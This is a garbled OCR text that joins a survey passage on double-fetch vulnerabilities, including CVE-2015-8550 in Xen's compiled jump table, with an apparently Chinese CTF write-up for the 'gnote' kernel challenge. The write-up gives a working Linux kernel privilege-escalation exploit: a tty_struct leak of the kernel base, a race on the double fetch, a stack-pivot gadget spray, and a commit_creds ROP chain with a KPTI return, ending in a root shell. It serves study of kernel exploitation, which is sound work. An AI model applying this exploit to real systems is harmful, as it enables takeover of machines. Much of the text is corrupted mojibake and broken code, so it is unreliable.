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4.4.2. Compiler Optimization Finally, a double-fetch vulnerability can also be introduced into
the binaries during compilation, which is even harder to notice than occurring in the macros.
CVE-2015-8550 [42] is such a double-fetch vulnerability introduced by compiler optimization of
Xen Hypervisor, which caused problems in the communication between the frontend driver and
backend driver components. What makes this case particularly interesting is that this double-fetch
vulnerability didn’t show up when inspecting the source code, but it could clearly be seen in the
compiled binary.

As is shown in Figure 9, the left part is the source code of a switch statement in xen-pciback (the
backend component used for para-virtualized PCI devices), within which no sign of any double-
fetch situation is found. While the right part of Figure 9 is the assembling of this switch statement,
and we can observe a double-fetch situation occurs. During the compilation, the compiler generates
a jump table to dynamically jump to the correct branch in the switch statement. The r13 register
points to a shared memory region and r13+0x4 corresponds to the value used in the switch
statement to select a branch. The value of r13+0x4 is used to compare with the upper limit 0x5
(line 1). If it is higher than 0x5, the default branch (line 2) is used. In line 4, r13+0x4 is fetched
a second time and used as an index of the jump table at line 5. As a result, if the data stored in
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switch(op->cmd) {

case XEN PCI_OP conf read:
op->err = xen_pcibk _config read(dev,

op->offset, op->size, &op->value);

cmp DWORD PTR [rl3 + 0x4], 0xS
mov DWORD PTR ([rbp - Ox4c), eax
ja  0x3358 <xen_pcibk_do_op + 952>
mov eax, DWORD PTR [r13 + Ox4]
jmp QWORD PTR [rax*8 + off_77D0]

break;
case XEN_PCI_OP_conf_write:
..
case XEN_PCI_OP_enable_msi:
M.
case XEN_PCI_OP_disable_msi:
| il
default:
op->err = XEN_PCI_ERR_not_implemented;

L I P S

Figure 9. A Double-Fetch Vulnerability in The Compiled Binary

r13+0x4 is modified between the two fetches, the final jump (line 5) destination can be affected
and arbitrary code can potentially be executed, which possibly lead to privilege escalation.
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int do_something(char *buf){
int ret=0;
switch(*(int *)buf){
case 1:
printf(
break;
case 2:
printf(
break;
case 3:
printf(
break;
case 4:
printf(

break;

}

return ret;

}
int main(int argc,char argv){
char *buf=malloc(0x100);
(int *)buf = ox1;
do_something(buf);

return 0;

4Fhcaself, EWrdi RELT —k, BAGwmEFEN cp ... je B

Foo W

john@john-virtual-machine: ~/Desktop/ctf/tokyo/gnote/test

john@john-virtual-machine:~/Desktop/ctf/tokyo/gnoteftests gcc . [ftest switch.c -o
test switch -02
john@john-virtual-machine:~/Desktop/ctf/tokyo/gnote/testS objdump -d -Mintel tes
t switch | grep 'do something=:' -A20
0000000000400570 <
400570 : 48 83 ec 08 sub rsp,o0xs8
400574 : Bb 07 mov eax,DWORD PTR|[rdi]
400576 : B3 f8 @2 cmp eax,0x2
400579: 74 65 je 4005e0 <do something+@x70:=
40057b: 7e 43 jle 4005c0 <do something+8x50=
4p057d: B3 f8 cmp CEV M
400586 : 74 1le je 40A5a0 <do something+@x36:=
400582 : B3 f8 cmp eax,0x4
400585 75 11 jne 40H598 <do something+@x28=
400587 : be 9c mov esi,0x40069cC
40058c: bf 61 mov edi,fOx1
400591: 31 co Xor eax,eax
400593 : eg 98 call 400430 < printf chk@plt>
400598: 31 co Xor eax,eax
40059a: 48 83 add rsp,0x8
40059e: c3 ret https://blog.csdn.net/panhewu9919




S5Fhcaselt, EWirdiB T HIK, BRINGIFEHNjump tablefE3, RiEcaseR 5| HH Bk 25t N 2 45 :

F-

john@john-virtual-machine: ~/Desktopfctf/tokyo/gnote/test

john@john-virtual-machine:~/Desktop/ctf/tokyo/gnote/testS objdump -d -Mintel tes
t switch2 | grep 'do something=:' -A20
0000000000400570 <
400570: 48 83 ec 08 sub rsp,oxs
400574: 83 3f a5 cmp DWORD PTR ”E}KS
400577 : 77 20 ja 400599 <do SUMEthing+0x29=
400579: 8b 07 mov eax,DWORD PTR
40057b: ff 24 06 40 00 jmp QWORD PTR [rax*8+0x4006d0]
400582: 66 6f 00 oo nop WORD PTR [rax+rax*1+8x0]
400588 be c4 i]4] mowv esi,dx4006cd
40058d: bf 01 e mowv edi,fOx1
400592: 31 cO Xor gax,eax
400594 : e8 97 ff call 400430 <_ printf_chk@plt=
400599: 31 co Xor eax,eax
40859b: 48 83 add rsp,0ox8
40059 : c3 ret https+/blog.csdn.net/panhewudg19

A LAE BT B P B8 B T PiIR, %6 cmp DWORD PTR [rdi],ex5 ELEE KMEH, H mov eax,DWORD PTR [rdi] HXrdiffI{&E1E Ajump
table)& 5] . 5| & Double-FetchiiF .

= WA
1. BB 4T

gnote & SeiE M —A-procfs A0 /proc/gnote , HfreadFflwrite b B AW . A AERINE £ 84/ note (sizeF K A0x10000) , note
fBEHF Tnotes2 R H, noteZ5H T :

struct note {
unsigned long size;

char *contents;

1

VRSN

ssize_t gnote_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos)
{
unsigned int index;

mutex_lock(&lock);

switch(*(unsigned int *)buf){
case 1:
if(cnt MAX_NOTE ) {
break;
b
notes[cnt].size ((unsigned int *)buf+l);
if(notes[cnt].size 0x10000) {




break;

)i
notes[cnt].contents kmalloc(notes[cnt].size, GFP_KERNEL);
cnt++;
break;

case 2:
printk(
break;

case 3:
printk(
break;

case 4:
printk(
break;

case 5:
index ((unsigned int *)buf+1);
if(cnt index){

selected index;
)i
break;
)i
mutex_unlock(&lock);

return count;

ssize t gnote read(struct file *filp, char __user *buf, size t count, loff_t *f pos)
{
mutex_lock(&lock);
if(selected 1){
mutex_unlock(&lock);

return 0;

}

if(count > notes[selected].size){
count notes[selected].size;

}

copy_to_user(buf, notes[selected].contents, count);
selected 1;
mutex_unlock(&lock);

return count;

2. ®iA

Double-Fetch, REEZ#HIHAFRHEK, 7 gnote_write REF, RIFENKIETE ke BhEs BIAThAE, ETEL
FEHBEMNHPZEER, SHBRE<=5, BRHRBED BRRE. MRS EEZCET, 7TRE A BB 2 E R

; note that rbx is the buf argument, user-controlled

mov rax, jump_table[rax*8]
jmp rax

RYIBEWHFFEL, 7E gnote_read BB . X FAZslub/rBELa: (BRI , WEREGIEMSHM . kmallocH & [ 725 (A1 4R 2
SR K/ NHIcacheF BiE. FTUARTLUETAR R4 TEA, BIEEESREFREHRBERR, SEURRMEE. 5
a1 /dev/ptmx HH] tty struct S HEEN, SR K/ REO0x2e0.




3. WA H

—NREAWESE AN Rindex, T ELEAWEAwrite b A4 . 3 Fadd note ] A& N KF0x10000size, XL #add
noteE%, ITE. RMABOT:

#define FAKE_IDX "©0x41414141"

void* thread_func(void* arg) {

asm volatile( FAKE_IDX

return 0;

main() {

int fd open( >, O_RDWR);

unsigned int buf[2] {0, 0x10001};

pthread_t thr;

pthread_create(&thr, @, thread_func, &buf[0]);

while (1)
write(fd, buf, sizeof(buf));
return 0;

mov rax, jump_table[0x41414141*8] SBUH k.

H IR -

1. Hkaslrffdr, EEE smap GXFEA LT P 28 figadget) , AT LAZEFH /2 & % 5 xchg eax, esp iX“ gadget;

2. IR/, Bt bl . mmap_min_addr=0x1000, 4N Ek & (& #hht & Oxffffffffc0000000, Fr A& N HIE T & /N A
0x8000200 ( exffffffffcooP0e0 + Ox8000200*8 == Bx1000 ) ;

3. B KA. BZBST0X10000, M &3R4L ENOMEM ;

4. WREGHZE, UNERRLET 0x1000 - 0x10001000 , I E47E ihexp BRI N E i HE0x400000.... — 2" LLELST ex1000000-
0x2000000 , & ] LL4n T E E I binary— -W1, --section-start=.note.gnu.build-id=0x40000158 .

5. #&iE®% . FlHgadget— xchg eax, esp ; ret ffirspta M =6, H FrspiglMgadgetititt, FrPAFEE
1E gadgetoxffffffff i i Eropchain.

6. ropchainfi B . i BCR4, HHT commit_creds(prepare_kernel cred(0)) . 1HN T ZfEMeltdownliiF, XH T WEKFE
AL, PR HAT, BT Erop#AT commit_creds (prepare_kernel cred(@)) o

7. BEIFAPZS. %8 Trspfirbp, BidropBkst entry_SYSCALL_64 (syscallNI1) ; Ab¥E5gsyscall, #EATHEHE#, {#
F sysretq BVEERIH 3, Bilrip# B Arcx, rflagsi% B Ar11,



=. Exploit

142 ¥ tty _struct4; H itk #8 kernel_base

fd=open( , O_RDWR);
if (fd<o)

I
1

puts(
exit(-1);
}
int fds[50];
for (int i=0;i<50; i++)
fds[i]=open( , O_RDWR|O_NOCTTY);
for (int i=0;i<50; i++)
close(fds[i]);
add_note(fd,0x2e0);
select_note(fd,0);
read(fd, buf, 512);

unsigned long leak, kernel_base;

leak (size_t *)(buf+3*8);

kernel_base = leak - ©xA35360;

printf( , leak , kernel_base);

2,45 B m IE
HF & Asmapfrir, HEBIHR L xchg eax, esp fFrspigm A 2=[EEI R, mov rax, jump_table[rax*8], %Nk & &kt 2
Oxffffffffic0000000 + (0x8000000+0x1000000) x 8 = 0x8000000, FiT LA \Ox8000000Hk 11t #b FF 4515 &% xchg eax, esp Huhik.

char *pivot_addr=mmap((void*)0x8000000, 0x1000000, PROT_READ|PROT_WRITE,
MAP_PRIVATE MAP_ANONYMOUS MAP_FIXED, -1,0);

unsigned long *spray_addr= (unsigned long *)pivot_addr;
for (int i=0; i1<Ox1000000/8; i++)
spray_addr[i]=xchg_eax_esp_ret;

3.1 Hroptk

HTF&/ER jmp rax , rax¥8IF xchg eax, esp, FTLAropHETE xchg_eax_esp_ret & oxffffffff HhtEIT . mmap & & Xt
35¥H), FTLA mmap_base == xchg_eax_esp_ret & Oxfffffoeo .



unsigned long mmap_base xchg _eax_esp_ret oxfffffoo0;

unsigned long *rop_base (unsigned long*)(xchg _eax_esp ret oxffffffff);

char *ropchain mmap((void *)mmap_base, ©0x2000, PROT_READ|PROT_WRITE,
MAP_PRIVATE MAP_ANONYMOUS MAP_FIXED, -1,0);

int i=0;

rop_base[i pop_rdi_ret;
rop_base[i 9;

rop_base[i prepare_kernel cred;
rop_base[i pop_rsi ret;
rop_base[i 1;

rop_base[i mov_rdi_rax_p_ret;
rop_base[i 9;

rop_base[i commit_creds;

rop_base[i kpti_ret;
rop_base[i 9;
rop_base[i 9;
rop_base[i shell;
rop_base[i user_cs;
rop_base[i user_rflags;
rop_base[i user_sp;
rop_base[i user_ss;

ATt E S

race_arg.arg 0x10001;
pthread_create(&pthread,NULL, race, &race_arg);
for (int j=@; j< ©x1000EEEEEER; j++)
{
race_arg.menu ilg
write(fd, (void*)&race_arg, sizeof(struct data));

)i
pthread_join(pthread, NULL);

void race(void *s)
{
struct data *d=s;
while(!istriggered){
d->menu 0x9000000 ;
puts( )§




| #

john@john-virtual-machine:~/Desktop/ctf/tokyo/gnotes ./run.sh

—\I\ MY N
AW W 1 Y VO VO W VO VR L W |
Y Y Y Y W W VA VO VL % W W W
AV YR A W Y VO W W WO W A
VAV VY
INT__1 NI\

john@john-virtual-machine: ~/Desktop/ctf/tokyo/gnote

uid=1000 gid=1000 groups=1000
/[ $ .Jexp
Status has been saved!
Leak addr= exffffffffad4435360 kernel base= oxffffffffa3aoonee
race ...
race ...
race ...
race ...
race ...

g.csdn.net/panhewug919

id=8(root) gid=0(root)

(1) xchg eax, esp 2 Jarsp i 8Lk & OXFfT, it REEMRAI AR B rople ?

ENZZEPATERRE, ROFTELRINORBEHER RN EBEHOE P Z0 . RERMNOURIFR L6440, HERAMKIH
S JE — A A IUN320 I gadgetBE M. xchg %eXx, %esp ; ret xchg %esp, %exx ; ret . HIRIRMNIKI Y%raxe —NEH R
RNz, XA RS KS M raxB 3260 /E A F iR bk, BARAFIERM 4. — HraxBEERAT)BE AT 5T H0E,
FRATRe 038 A P 22 TR AR PR b ik 3 AH R BEAT mmap



Oxffffffffb501992a oxffffffffb501992a
Oxffff966180227da0@ Oxffff966180227da0

gef> stack
Pxffff966180227dad: Oxffff8f8doeaa5780
Pxffff966180227da8: Oxfffffffffffffffb

gef> si

Warning: not running or target is remote
Pxfffffffb501992b in ?? ()

Warning: not running or target is remote

gef) X /Si $pC
Oxffffffffb501992b: ret
Oxffffffffb501992c: scas al,BYTE PTR es:[rdi]

gef> stack

Warning: not running or target is remote
¢ Oxffffffffb501c20d
. 0x0000000000000000
¢ OxfFfffffb5069fe0

0x80227da® ©x80227da0d

0xb501992a 0xb501992a
BT
leave_ret (WHEBWITFSHIN0xa0, FATLAH): mov esp, ebp; pop ebp; ret
xchg eax,esp
(2) SitkptiKITTERA 42
EE, FIHZFE swapgs fl iretq HE SRR
cat /proc/kallsyms| grep swapgs_restore_regs_and_return_to_usermode

FIF T swapgs_restore_regs_and_return_to_usermode , BhidFFkHipop. MikropfElt, BHEHB2MN0, BIFHEBEKISANF
7.



# cat /proc/kallsyms| grep ffffffffbde@oa
ffffffffbde@0akd t common_interrupt
ffffffffbde@oadf t ret from_intr
Ffffffffbdedda2c
ffffffffbdeova34
ffffffffbde@dabb
ffffffffbde@oabb

retint_user
swapgs_restore_regs_and_return_to_usermode

restore_regs_and_return_to_kernel

T
T
T
t

retint_kernel

gef> x /501 exffffffffbde@oa34
oxffffffffbde@eass: pop  ris
oxffffffffbdeoeass: pop  ri4
exfFffffffbde@ea3s: pop  ri3
oxffffffffbded@asa: pop  ri2
oxffffffffbdedvasc: pop  rbp
oxffffffffbdedvasd: pop  rbx
Oxffffffffbdedoase: pop ril
oxffffffffbde@0add: pop  rie
OxffffffffbdedRas2: pop  r9
Oxffffffffbded0add: pop  r8
oxffffffffbde00as6: pop DX
oxffffffffbde00asd7: pop X
oxffffffffbde@0ads: pop  rdx
OxFFffffffbde@@add: pop  rsi
oxffffffffbde@0ada: mov rdi,rsp
oxffffffffbde@@add: mov  rsp,QWORD PTR gs:0x5004
oxffffffffbde@@ase: push QWORD PTR [rdi+@x30]
oxffffffffbde@ea5o: push QWORD PTR [rdi+ox28]
oxffffffffbde@@asc: push  QWORD PTR [rdi+@x20]
oxffffffffbdee@asf: push QWORD PTR [rdi+@x18]
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